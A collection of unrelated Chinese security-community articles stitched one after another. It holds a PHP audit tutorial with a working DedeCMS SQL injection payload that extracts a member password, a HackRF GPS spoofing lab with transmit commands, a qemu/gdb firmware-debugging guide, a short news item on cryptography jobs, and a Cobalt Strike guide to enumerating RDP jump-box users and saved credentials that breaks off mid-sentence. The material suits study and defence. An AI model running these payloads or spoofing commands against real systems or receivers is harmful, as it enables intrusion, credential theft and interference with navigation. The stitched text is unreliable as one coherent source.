9.<https://blog.trendmicro.com/trendlabs-security-intelligence/anubis-android-malware-returns-with-over-17000-samples/>
10.<https://labs.bitdefender.com/2019/02/triout-android-spyware-framework-makes-a-comeback-abusing-app-with-50-million-downloads/>
11.<https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/>
12.<https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/>
13.<https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/>
14\. <https://threatpost.com/lazarus-collaborates-trickbots-anchor-project/151000/>
15\. <http://blogs.360.cn/post/analysis-of-apt-c-37.html>
16\. <https://securitywithoutborders.org/blog/2019/03/29/exodus.html>
17.<https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html>
18.<https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/>
19\. <https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html>
20\. <https://www.antiy.com/response/20190524.html>
21\.
http://blogs.360.cn/post/analysis_of_APT_C_08.html?from=timeline&isappinstalled=0
22\. <https://blog.talosintelligence.com/2019/10/gustuffv2.html>
23\. <https://research.checkpoint.com/the-eye-on-the-nile/>
24\. <https://www.zdnet.com/article/germany-backdoor-found-in-four-smartphone-models-20000-users-infected/>
25\. https://securelist.com/spying-android-rat-from-brazil-brata/92775/
26\. <https://stv24.tv/novosti/izvestnogo-hakera-maza-in-budut-sudit-v-stavropole/>
27.<https://buzzorange.com/techorange/2019/09/16/simjacker-attack-could-affect-a-billion-smartphones/>
28\. <https://www.secrss.com/articles/13480>
29.<https://threatpost.com/dutch-politician-could-get-three-years-in-prison-for-hacking-icloud-accounts/150799/>
30\. http://adlab.venustech.com.cn/ | 社区文章 |
本文由红日安全成员： **l1nk3r** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第7篇**
代码审计文章：
## Day 7 - Bell
题目叫做钟，代码如下：
**漏洞解析** ：
这一关其实是考察变量覆盖漏洞，⽽导致这⼀漏洞的发⽣则是不安全的使⽤ **parse_str** 函数。 由于 **第21行** 中的
**parse_str()** 调用，其行为非常类似于注册全局变量。我们通过提交类似 **config[dbhost]=127.0.0.1**
这样类型的数据，这样因此我们可以控制 **getUser()** 中第5到8行的全局变量 **$config**
。如果目标存在登陆验证的过程，那么我们就可以通过变量覆盖的方法，远程连接我们自己的mysql服务器，从而绕过这块的登陆验证，进而进行攻击。我们来看看PHP官方对
**parse_str** 函数的定义：
> [ **parse_str** ](http://php.net/manual/zh/function.parse-str.php)
>
> **功能** ：parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
>
> **定义** ：`void parse_str( string $encoded_string [, array &$result ] )`
>
> 如果 **encoded_string** 是 URL 传入的查询字符串（query string），则将它解析为变量并设置到当前作用域（如果提供了
> result 则会设置到该数组里 ）。
## 实例分析
本次实例分析，我们选取的是 **DedeCmsV5.6** 版本。该版本的 **buy_action.php** 处存在SQL注入漏洞，这里其实和
**parse_str** 有很大关系，下⾯我们来看看具体的漏洞位置。
### 补丁分析
官网于20140225发布了 **V5.7.36** 正式版0225常规更新补丁，这里面的改动一共四个文件 **dede/sys_info.php** 、
**dede/templets/sys_info.htm** 、 **include/uploadsafe.inc.php** 、
**member/buy_action.php** 。这里我们关注一下 **member/buy_action.php** 这个文件的改动情况。
diff一下补丁和源文件：（这里采用sublime的FileDiffs插件来进行diff对比）
改动部分，主要针对加密函数的强度进行了加强，所以做一个推断这个漏洞应该是由于 **mchStrCode**
这个编码方法造成的。在读这个函数时发现，如果在我们知道 **cfg_cookie_encode** 的情况下，被编码字符串是可以被逆推出来的。
这个漏洞在乌云上爆出来的时候，是sql注入，所以我推断可能在调用这个编码函数进行解码的地方，解码之后可能没有任何过滤和绕过，又或者可以可绕过过滤，导致sql语句拼接写入到了数据库，而且这里解码的函数可以被攻击者控制，从而导致了SQL注入的产生。
### 原理分析
我们全局搜索一下哪些地方调用了这个 **mchStrCode** 函数，发现有三处（可以用sublime `Ctrl+Shitf+F` 进行搜索）：
**第17行** (上图)的 **parse_str** 引起了我的兴趣，看一下这一小段代码做了些什么（下图第4行处）：
我们重点来看if语句开始时的三行代码， **mchStrCode**
是我们在上一小节通过对比补丁发现变化的函数。也就是说，这个函数可以编码或者解码用户提交的数据，而且 **$pd_encode** 也是我们可以控制的变量。
**parse_str** 方法将解码后 **$pd_encode** 中的变量放到 **$mch_Post** 数组中，之后的 **foreach**
语句存在明显的变量覆盖，将 **$mch_Post** 中的key定义为变量，同时将key所对应的value赋予该变量。然后，再向下就是执行SQL查询了。
在这个过程中存在一个明显的疏忽是，没有对定义的 **key** 进行检查，导致攻击者可以通过 **mschStrCode**
对攻击代码进行编码，从而绕过GPC和其他过滤机制，使攻击代码直达目标。我们再来看看 **mchStrCode** 函数的代码：
上图我们要注意第三行 **$key** 值的获取方法：
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
这里将 **$_SERVER["HTTP_USER_AGENT"]** 和 **$GLOBALS['cfg_cookie_encode']**
进行拼接，然后进行md5计算之后取前 **18** 位字符，其中的 **$_SERVER["HTTP_USER_AGENT"]**
是浏览器的标识，可以被我们控制，关键是这个 **$GLOBALS['cfg_cookie_encode']** 是怎么来的。通过针对补丁文件的对比，发现了
**/install/index.php** 的 **$rnd_cookieEncode** 字符串的生成同样是加强了强度，
**$rnd_cookieEncode** 字符串最终也就是前面提到的 **$GLOBALS['cfg_cookie_encode']**
看看源代码里是怎么处理这个的 **$rnd_cookieEncode** 变量的。
这段代码生成的加密密匙很有规律，所有密匙数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典，用passwordpro暴力跑MD5或者使用GPU来破解，破解出md5过的密匙也花不了多少时间。
当然这个是完全有可能的，但是很耗时间，所以下一步看看有没有办法能够绕过这个猜测的过程，让页面直接回显回来。
### 利用思路
虽然整个漏洞利用原理很简单，但是利用难度还是很高的，关键点还是如何解决这个 **mchStrCode** ， **mchStrCode**
这个函数的编码过程中需要知道网站预设的 **cfg_cookie_encode** ，而这个内容在用户界面只可以获取它的MD5值。虽然
**cfg_cookie_encode**
的生成有一定的规律性，我们可以使用MD5碰撞的方法获得，但是时间成本太高，感觉不太值得。所以想法是在什么地方可以使用 **mchStrCode**
加密可控参数，并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。
于是，我们在 **member/buy_action.php** 的104行找到了一处加密调用： **$pr_encode =
str_replace('=', '', mchStrCode($pr_encode));** 我们来看一下这个分支的整个代码：
这里的 **第38行** 有一
`$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');` 在
**/templets/buy_action_payment.htm** 中，我找到了页面上回显之前加密的 **$pr_encode** 和
**$pr_verify** 。
通过这部分代码，我们可以通过 **[cfg_dbprefix=SQL注入]** 的提交请求，进入这个分支，让它帮助我来编码
**[cfg_dbprefix=SQL注入]** ，从而获取相应的 **pr_encode** 和 **pr_verify** 。 但是
**common.inc.php** 文件对用户提交的内容进行了过滤，凡提交的值以cfg、GLOBALS、GET、POST、COOKIE
开头都会被拦截，如下图第11行。
这个问题的解决就利用到了 **$REQUEST** 内容与 **parse_str** 函数内容的差异特性。我们url传入的时候通过 **[a=1
&b=2%26c=3]**这样的提交时， **$REQUEST** 解析的内容就是 **[a=1，b=2%26c=3]** 。而通过上面代码的遍历进入
**parse_str** 函数的内容则是 **[a=1 &b=2&c=3]** ，因为 **parse_str**
函数会针对传入进来的数据进行解码，所以解析后的内容就变成了 **[a=1，b=2，c=3]** 。所以可以通过这种方法绕过
**common.inc.php** 文件对于参数内容传递的验证。
### 漏洞利用
访问 **buy_action.php** 文件，使用如下参数：
product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
其中 **product** 和 **pid** 参数是为了让我们进入 **mchStrCode** 对传入数据进行编码的分支，参数 **a**
是为了配合上面提到的差异性而随意添加的参数。从 **cfg_dbprefix** 开始，便是真正的SQL注入攻击代码。 访问该URL后，在页面源码中找到
**pd_encode** 和 **pd_verify** 字段的值，由于用户 **Cookie** 和 **User-Agent**
不同，所获取的值也不同，然后在页面上找到了 **pd_encode** 和 **pd_verify** 的值，如下图：
最后再构造一下payload就好了：
http://127.0.0.1//dedecms5.6/member/buy_action.php?pd_encode=QEpWVhZbEV9SUkBUEEBfAF8CFlkEA0VbAwVuV1BARFVQDRoOVF1dVzxVAA9TVkBvWUBTFgNHWVdXEjRwIDB0EwMNdhcZRVMBAwwMRw1RCgweE0FVWlVVEEICHAoVAU8MSVcdBR4HGggaXU4CABh/YCx1RUpidn51dWQWJy1mfmwRG097KixycmYYFhhlIS52c2wZQhRcRSRjfH8QUlVSAT1eVVVbVxEYKSt8emYQBhwHTU51fHd2YEtqJCx1GwIZBBkfHEJ1Ynd0Eip2Iy1jfnNkf394OzFweH10c017LSNjcnFkc2JpNydnYxh+YCxtNUJzahJIH1EWR0RmfWddWxBMDAxSR1tUCwEAUFEEBV4JVFEBUVYIHgIHAQRQXAQHCAsLAAIBSFYJBgUGUB0HVwEFCAgUA1UMVlUEVQJWBFIBUAQVc3ZjaCd5MSMAAwIABgYBU1IHDQkBB1IIVVMBBQcdBwUEXVsABwsKAU5QERZBFgFxEwJwQVB1AQELHFIOXUwDBwoeBwIPQVB1TAkMAFoBVlUCAAEWVFRFDANBVWdfWxFLEQtcVg8BAwMGVFMEBg8PBVUAQzJ5Y2F1ZWN/IF9XA1tdBFVeVAcIAlRVDlJVAFtRVV5YC1INAVsHBgpUBBZyAQZWZUtcQCp8WFAXd1dUU2VFARB6dGdmUQh1AVcMAABVAVJSVVcKAABdAlAAA0R1VlZVel9RDQxnWVVcD1INVlICAAICBwQQIAdXVXRWVQpWMQtcVm1vVVt7AFcOAl4IAlANBFUGVlMFBFIHUA&pd_verify=fbe183b4c5a69ac7fb394a4b5cd5cfcb
再次提醒，因为每个人的 **cookie** 和 **User-Agent** 都不一样，所以生成的也不一样，建议大家自己生成一下。
## 修复建议
为了解决变量覆盖问题，可以在注册变量前先判断变量是否存在，如果使用 **extract** 函数可以配置第二个参数是 **EXTR_SKIP** 。使用
**parse_str** 函数之前先自行通过代码判断变量是否存在。
这里提供一个demo漏洞样例代码，以及demo的修复方法。
**demo漏洞**
**demo漏洞修复**
## 结语
看完了上述分析，不知道大家是否对 **parse_str()** 函数有了更加深入的理解，文中用到的CMS可以从
[这里](http://www.dedecms.com/upimg/soft/2010/DedeCmsV5.6-UTF8-Final.tar.gz)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day7** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
**index.php**
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 相关文章
[DedeCMS最新通杀注入(buy_action.php)分析](http://webscan.360.cn/news/news128) | 社区文章 |
# GPS欺骗实验
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
之前也没接触过无线电相关内容，前段时间入手了块HackRF
One板子，本文是对GPS欺骗实验进行复现，此外文中有关GPS信号原理等内容仅仅作为简介，有关GPS涉及的内容维度较大，如感兴趣可自行查阅。
首先说下实验环境:
硬件平台--HackRF One、GPS外部时钟、700-2700MHz天线
软件环境--Ubuntu 16.04运行HackRF环境
GPS终端--iphone7，飞行模式下仅GPS、开启WIFI辅助均测试成功。
## 0x01GPS简介
GPS 系统本身非常复杂, 涉及到卫星通信等各个领域. 这里只是简单介绍一下。我们通常所说的 GPS
全球定位系统是由美国国防部建造完成。目前在太空中共有31颗卫星在同时运作。一般我们需要至少4颗卫星来完成三角定位。GPS卫星同时发送民用L1和军用L2两种无线信号。我们通常使用的是没有加密的L1民用
1575.42MHz 的超高频波段。
## 0x02GPS定位原理
GPS导航系统的基本原理是测量出已知位置的卫星到用户接收机之间的距离，然后综合多颗卫星的数据来确定接收机的具体位置。要达到这一目的，卫星的位置根据星载时钟所记录的时间在卫星星历中查出，用户到卫星的距离则通过记录卫星信号传播到用户所经历的时间，再将其乘以光速得到。
当GPS卫星正常工作时，会不断地用1和0二进制码元组成的伪随机码发射导航电文。导航电文从卫星信号中调制出来，包括卫星星历、工作状况、时钟改正、电离层时延修正、大气折射修正等信息。其中最重要的为星历数据。当用户接受到导航电文时，提取出卫星时间并将其与自己的时钟作对比获知卫星与用户的距离，再利用导航电文中的卫星星历数据推算出卫星发射电文时所处位置，从而获知用户在WGS-84大地坐标系中的位置、速度信息。
GPS定位的基本原理是根据高速运动的卫星瞬间位置作为已知的起算数据，采用空间距离后方交会的方法，确定待测点的位置。完整的GPS定位包括三部分：
**1.空间部分**
GPS的空间部分是由24颗卫星组成(21颗工作卫星，3颗备用卫星）
**2.地面控制系统**
地面控制系统由监测站(Monitor Station)、主控制站(Master Monitor Station)、地面天线(Ground
Antenna)所组成。
**3.用户设备部分**
用户设备部分即GPS信号接收机。其主要功能是能够捕获到按一定卫星截止角所选择的待测卫星，并跟踪这些卫星的运行。
## 0x03卫星星历
卫星星历可以在nasa官网下载到最新的信息文件，项目源码中已经包括了一个旧的信息文件brdc3540.14n也可以使用。
卫星星历，又称为两行轨道数据（TLE，Two-Line Orbital Element），由美国celestrak发明创立。
卫星星历是用于描述太空飞行体位置和速度的表达式——两行式轨道数据系统。
ftp://cddis.gsfc.nasa.gov/pub/gps/data/daily/2020/brdc)
星历文件命名格式：
星历文件命名规则：
## 0x04实验准备
#### 1、gps-sdr-sim项目
这个项目的原理是gps-sdr-sim能根据指定的卫星信息文件、坐标信息、采样频率等参数输出二进制的信号文件，将这个二进制文件导入到USRP或者bladeRF之类的无线电射频设备上就可以实现GPS的伪造。
(1)下载GPS仿真器代码
`git clone https://github.com/osqzss/gps-sdr-sim.git`
(2)gcc编译：
`gcc gpssim.c -lm -O3 -o gps-sdr-sim`
编译完成后路径下会出现可执行程序gps-sdr-sim:
#### 2、获取坐标
项目页面上给了三种不同的输入坐标信息的方式：
gps-sdr-sim -e brdc0910.20n -l 29.6562801500,91.1257504400
gps-sdr-sim -e brdc0910.20n -u circle.csv
gps-sdr-sim -e brdc0910.20n -g triumphv3.txt
因为我们使用的是固定坐标,所以我从[在线地图](http://www.gpsspg.com/)中随机获取了一个地址并记录其经纬度。（例如，拉萨布达拉宫附近，记录其经纬度，如下图所示）
#### 3、连接hackrf设备
GPS外部时钟如下图所示安装在HackRF板上
查看设备是否被识别，成功识别输入`hackrf_info`会打印出hackrf的信息:
## 0×05生成GPS数据
使用-l参数指定之前获取的坐标29.6562801500,91.1257504400，-b参数指定二进制文件格式，执行文件后默认会生成300秒GPS仿真数据。
`./gps-sdr-sim -e brdc0910.20n -l 【坐标】 -b 8`
等待命令执行结束，文件夹中多了一个`gpssim.bin`文件，这个文件内容就是模拟生成的GPS数据。
## 0×06发射GPS数据
hackrf_transfer 将生成的基带信号重新生成为GPS信号。
指定GPS数据，-f指定发射频率，指定频率为1575420000 即民用GPS
L1波段频率，-s指定采样速率,指定采样速率2.6Msps，-x指定发射功率,开启天线增益，指定TX
VGA(IF)为0、10、20不等(为了限制影响范围，最大为47，尽量不要使用)，最后开启重复发射数据功能。
`hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 40`
#### 命令参数简介
**采样频率：**
采样频率相当于二进制文件每个坐标产生的频率，默认的是2600000Hz，这个采样率过大或者过估计都会有问题，过小可能导致信号不稳定，过大可能在传输过程中会出现传输速度跟不上采样率，这样发出来的信号也是不稳定的。
**二进制文件格式：**
输出的二进制文件有三种格式，分别有1-bit、8-bit、16-bit，默认使用的是16-bit的。但是Hackrf中，支持的是8-bit的二进制文件，所以一定要把这个参数改成8-bit。
**发射频率：**
这个是输出的信号的中心频率，默认是美国官方的GPS
L1信号频段1575420000Hz，按照默认即可，如果不是默认的可能通用的GPS客户端设备不能收到信号。
**二进制信号持续时间：**
这个参数决定了信号的持续时间，但是其实输出的时候是循环输出的，所以如果使用固定坐标的话不用太长。默认的是300s，这个时间越大生成的二进制文件也会越大，经过测试，固定坐标情况下一分钟到三分钟就可以完成定位，使用默认的300s就可，如需加大再自行指定。
##### gps-sdr-sim参数：
通过查看参数发现还可以对时间、动态坐标等进行欺骗~
Usage: gps-sdr-sim [options]
Options:
-e <gps_nav> 卫星信息文件(必须)
-u <user_motion> 用户定义的坐标文件 (动态的位置信息)
-g <nmea_gga> NMEA坐标文件 (动态的位置信息)
-l <location> 坐标，维度-经度-海拔，例如： 30.286502,120.032669,100
-t <date,time> 模拟的开始时间 YYYY/MM/DD,hh:mm:ss
-d <duration> 持续时间 [秒] (最大: 300)
-o <output> 二进制文件的输出位置 (默认: gpssim.bin)
-s <frequency> 采样频率 [Hz] (默认: 2600000)
-b <iq_bits> 二进制文件格式 [1/8/16] (默认: 16)
-v 更多细节信息
#### 实验结果：
首先使用了手机高德地图测试了仅GPS定位，在等待了一分钟左右即可欺骗成功，位置已定位到拉萨。
随后开启了wifi热点发现均可测试成功
## 0x07 GPS欺骗防御
关于GPS欺骗防御方面我对参考的文章做了简单的总结:
1. 根据GPS信号的强度区分。如果GPS的欺骗信号是从单一的设备中发出的，那么其信号的强度很可能是一直的，而在正常的通讯环境下，不同GPS信号不会有如此相似的信号强度。
2. 根据GPS信号数目区分。因为GPS信号是伪造出来的，而且需要至少伪造出来三个，而一般地来说，为了使得欺骗成功，伪造的GPS信号数目是越多越好的，所以如果GPS信号的数目突然增加了很多，那么很可能遭到了GPS欺骗。
3. 根据时间区分。GPS信号具有卫星授时的功能。而GPS信号的伪造一般需要获取到某一天GPS卫星的运行报文，在这个基础上进行伪造。所以这样的伪造出来的卫星授时的时间一定是所采用报文的时间而不是正常时间，所以在联网设备中只需要对卫星授时时间进行比对，就可以知道是否遭到了GPS欺骗。
4. GPS加密为使用者提供了空中认证信号。举个例子，就像民用GPS接收器获取了加密的军用PRN码后，将不能完全可知或解码，当然，GPS欺骗系统也不可能做到提前伪造合成加密信号。如果要认证每个信号，那么每台民用GPS接收器将要携带类似于军用接收器上的加密密钥，而且要保证攻击者不能轻易获取到这些密钥。
5. 信号失真检测:当GPS信号正在被欺骗攻击时，这种方法可以根据一个短暂可观测的峰值信号来警告用户。通常，GPS接收器会使用不同策略来追踪接入信号的振幅强度，当一个模拟信号被传输发送时，接收器上显示的是原始信号和假信号的合成，而这种合成将会在Drag-off期间的振幅中出现一个峰值信号。
## 0x08参考资料：
<https://www.zhihu.com/question/20903715/answer/199560675>
<http://www.mwrf.net/tech/sdr/2017/22021.html>
<http://www.mwrf.net/tech/sdr/2018/22779.html>
<https://blog.csdn.net/sinat_26599509/article/details/52022199>
<http://www.witimes.com/hackrf/>
<https://www.cnblogs.com/k1two2/p/5164172.html>
<https://blog.csdn.net/OpenSourceSDR/article/details/52033069>
<http://wooyun.jozxing.cc/static/drops/tips-11155.html>
<http://www.2cto.com/Article/201512/453013.html> | 社区文章 |
[TOC]
# 说明
调试环境：
Ubuntu16.04
IDA6（6以上版本都行）
gdb-multiarch（支持不同架构）
gdbserver(不同架构不同版本，网上可自行找到别人编译好的直接使用)
# qemu用户模式+IDA
1，qemu调试模式挂起程序
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
-g 参数指定调试端口
程序被挂起，等待调试：
2，IDA加载`httpd`程序
配置IDA调试模式：
三步走：
①配置IP和PORT（我IDA是本地的，有方法可以不用wine也可支持IDA）
②选择0，OK
②执行完程序就被调试加载上了
③F9运行，程序就跑起来可以进行调试跟踪了
# qemu用户模式+GDB
## 方式一（gdb remote）
1，qemu调试执行挂起
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
2，gdb连接调试
gdb-multiarch -q ./bin/httpd #-q参数，忽略一些警告提示
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote 127.0.0.1:1234
pwndbg>
继续gdb中执行c,程序即可跑起来。
`附:`
为了避免每次调试重复性的输入相同的命令，可以集成脚本加载。
例如，脚本内容
#dbgscript
set architecture arm
target remote 127.0.0.1:1234
c
gdb执行-x加载脚本
gdb-multiarch -q ./bin/httpd -x dbgscript
## 方式二（gdb attach）
这种限需要你已知一些条件，例如，调试程序开启的端口，通过端口查看PID，然后attach pid开启调试。
1，qemu启动程序（注意：跟上面-g挂起不同，这里直接启动了程序）
sudo chroot ./ ./qemu-arm-static ./bin/httpd
2，通过端口查看PID
查看PID的几种不同的方法
方式一
netstat -pantu | grep 80
方式二
netstat -pantu | grep 80
方式三
sudo ss -tunlp
3，gdb attach pid连接
`注:`两种调试方法加载的libc可能不同，注意对比。（下图说明在读取libc）
## 查看libc的两种方法
方法一：
sudo netstat -tunpl|grep 80 #查看进程PID
sudo cat /proc/12422/maps #查看libc情况
方法二：gdb的vmmap功能
# qemu系统模式+GDB
`前提：`调试对象和调试的宿主机一定能ping通。
下载qemu-system需要的kernel和虚拟硬盘文件：
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
1,启动qemu虚拟机
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
`script` 和 `downscript` 两个选项的作用是告诉 QEMU 在启动系统的时候是否调用脚本自动配置网络环境，如果这两个选项为空，那么
QEMU 启动和退出时会自动选择第一个不存在的 tap 接口(通常是 tap0)为参数，调用脚本 /etc/qemu-ifup 和 /etc/qemu-ifdown。
`附：`
这里请先了解下qemu网络配置相关知识：[QEMU 网络配置一把梭]<https://wzt.ac.cn/2021/05/28/QEMU-networking/>
2，利用scp上传所需文件到虚拟机中
scp -r [file] root@ip:/root/ #宿主机执行
3,利用gdbserver挂起程序
./gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./bin/httpd
调试启动需要对应架构的gdbserver，大家可自行百度找找。
[找不到的同学看这里，我又帮你找好了哦]<https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver>
4,gdb连接（同上）
gdb-multiarch -q ./bin/httpd #-q参数，忽略一些警告提示
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote 127.0.0.1:1234
pwndbg>
5,完成，可以开始跟踪数据调试了。
`补：`这种就没必要attch连接了，因为都不在同一个主机里面了。
# 系统模式+IDA
1，gdbserver挂起程序
chroot ./ sh #这里匹配自己对应的目录，失败就切换目录多试试,不执行这条命令切换根目录，下面的命令执行不起来
./gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./bin/httpd
2，IDA三步走
3，调试起来了，但不太推荐这种方法
原因如下：终端调试退不出来，不能再次进行调试。（里面报的一些错误提示也不容易解决）
# 总结
* IDA调试方便你看全局更加清晰。
* GDB调试指令功能更加强大，可以查看各种数据。
以上方法各有优劣吧，各位可以结合不同场景需求使用不同的方法。
# 欢迎交流
Q群198854910 | 社区文章 |
# 国家职业分类增设密码工程技术人员新职业
##### 译文声明
本文是翻译文章，文章原作者 国家密码管理局，文章来源：国家密码管理局
原文地址：<https://mp.weixin.qq.com/s/KY09_ENaCnY5TWVMDtVKCQ>
译文仅供参考，具体内容表达以及含义原文为准。
日前，人力资源社会保障部正式发布《中华人民共和国职业分类大典（2022年版）》，与2015年版大典相比，增加了2个密码职业，即2021年发布的密码技术应用员（职业编码4-04-04-06），以及此次增设的密码工程技术人员（职业编码2-02-38-13），均被标注为数字职业。密码技术应用员定义为从事信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等相关应用技术服务的人员。密码工程技术人员定义为从事密码算法与协议实现、设备和系统研制、产品检测与认证、服务系统设计建设、标准编制、密码管理、专业技术培训咨询的工程技术人员。新职业的发布对于完善密码职业人才评价体系具有重要意义，将有效带动密码职业人才培养评价，促进密码科技创新和产业发展。 | 社区文章 |
# 【技术分享】如何利用RDP跳转主机进入隔离网络
|
##### 译文声明
本文是翻译文章，文章来源：rastamouse.me
原文地址：<https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
本文中我们介绍了如何使用 **Cobalt Strike** ，通过RDP跳转主机（Jump Box）进入隔离或受保护网络中。
网络拓扑如下所示：
在这个拓扑环境中：
LAN为扁平化结构，由工作站及服务器组成。
包括RDP跳转节点在内的某些服务器无法外连到互联网。
工作站可以通过代理访问互联网。
RDP跳转主机是LAN中唯一可以与“秘密网络（Secret Network）”通信的主机，通信端口仅限于3389端口。
这两个网络处于不同的森林（forest）中，分别为rasta-lan.local以及secret-lan.local。
LAN的地址为 **10.0.0.0/16** ，秘密网络地址为 **172.16.0.0/24** 。
在这种场景下，攻击者的任务是在攻击主机（Windows 10）上打开远程桌面连接应用，通过RDP直接登录到秘密网络中的目标服务器。
**二、突破口**
****
我们已拿下了名为rasta_mouse的一名用户，该用户为普通域用户（Domain
Users）。我们可以查询目标服务器，探测哪些用户/组可以使用RDP协议。
beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
ComputerName : RDP01
AccountName : rasta-lan.local/Jump Box Users
IsDomain : True
IsGroup : True
SID : S-1-5-21-2294392343-2072776990-791666979-1106
使用如下命令查询哪些用户属于“Jump Box Users”组：
beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
GroupDomain : rasta-lan.local
GroupName : Jump Box Users
MemberDomain : rasta-lan.local
MemberName : rastamouseadm
MemberSID : S-1-5-21-2294392343-2072776990-791666979-1107
IsGroup : False
MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local
从结果中可知，rastamouse有两个独立的账户，这表明我们需要获取rastamouse_adm的凭据才能继续攻击。下面我会介绍两种可能行之有效的方法。
**三、Credential Manager & DPAPI**
****
如果目标用户选择了保存RDP凭据，并且我们也具备SeDebugPrivilege权限，这是提取用户凭据最为理想的场景。
我们可以在凭据管理器（Credential Manager）界面中查看Windows凭据，如下所示：
当然我们也可以使用命令行来查询：
beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential Resource: Domain:target=TERMSRV/rdp01 Identity: LANrastamouseadm Hidden: No Roaming: No Property (schema element id,value): (100,2)
具体的凭据信息保存在用户目录中：
C:Users<username>AppDataLocalMicrosoftCredentials*
可以使用如下命令进行查询：
beacon> powerpick Get-ChildItem C:Usersrasta_mouseAppDataLocalMicrosoftCredentials -Force
Directory: C:Usersrasta_mouseAppDataLocalMicrosoftCredentials
Mode LastWriteTime Length Name
-a-hs- 02/09/2017 13:37 412 2647629F5AA74CD934ECD2F88D64ECD0 -a-hs- 30/08/2017 19:28 11204 DFBE70A7E5CC19A398EBF1B96859CE5D
现在，我们可以具体分析一下
